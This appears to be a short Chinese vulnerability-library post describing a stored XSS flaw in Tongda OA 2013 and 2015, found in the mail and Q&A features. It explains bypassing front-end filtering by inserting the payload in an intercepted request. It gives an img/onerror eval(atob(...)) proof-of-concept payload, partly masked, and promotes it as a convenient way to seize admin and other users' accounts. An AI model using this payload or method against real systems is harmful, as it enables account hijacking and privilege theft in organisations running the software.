通达oa xss好想告诉你1年前发布200通达oa xss 漏洞影响 2013、2015版本 复现过程 发邮件的地方、问题问答的地⽅都存在XSS，可获取他人账号权限。⼀般情况下，OA会有前端进行过滤， 所以抓包时候去添加payload，之后会对事件进行过滤，所以使用 poc <img src=x onerror=eval(atob('cz1jcmVXXXXXytNYXRoXXXXXXXXhbmRvbSgp'))> 这个漏洞获取admin权限⾮常好用。想X谁X谁!
![图片[1]-通达oa xss-漏洞文库小世界-安全文库-NGC660安全实验室](http://wiki.tidesec.com/uploads/ddosi_wiki/images/%E9%80%9A%E8%BE%BEoa%20xss.png%20=900x600)
请登录后查看回复内容